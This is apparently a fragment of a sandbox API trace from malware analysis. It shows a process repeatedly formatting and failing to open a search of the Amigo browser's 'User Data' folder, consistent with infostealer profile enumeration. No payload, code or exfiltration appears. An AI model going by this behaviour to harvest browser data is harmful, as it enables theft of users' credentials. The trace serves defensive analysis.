[0052.762] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.763] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.763] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.764] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.764] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
[0052.765] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\amigo\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.765] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\*.*") returned 56
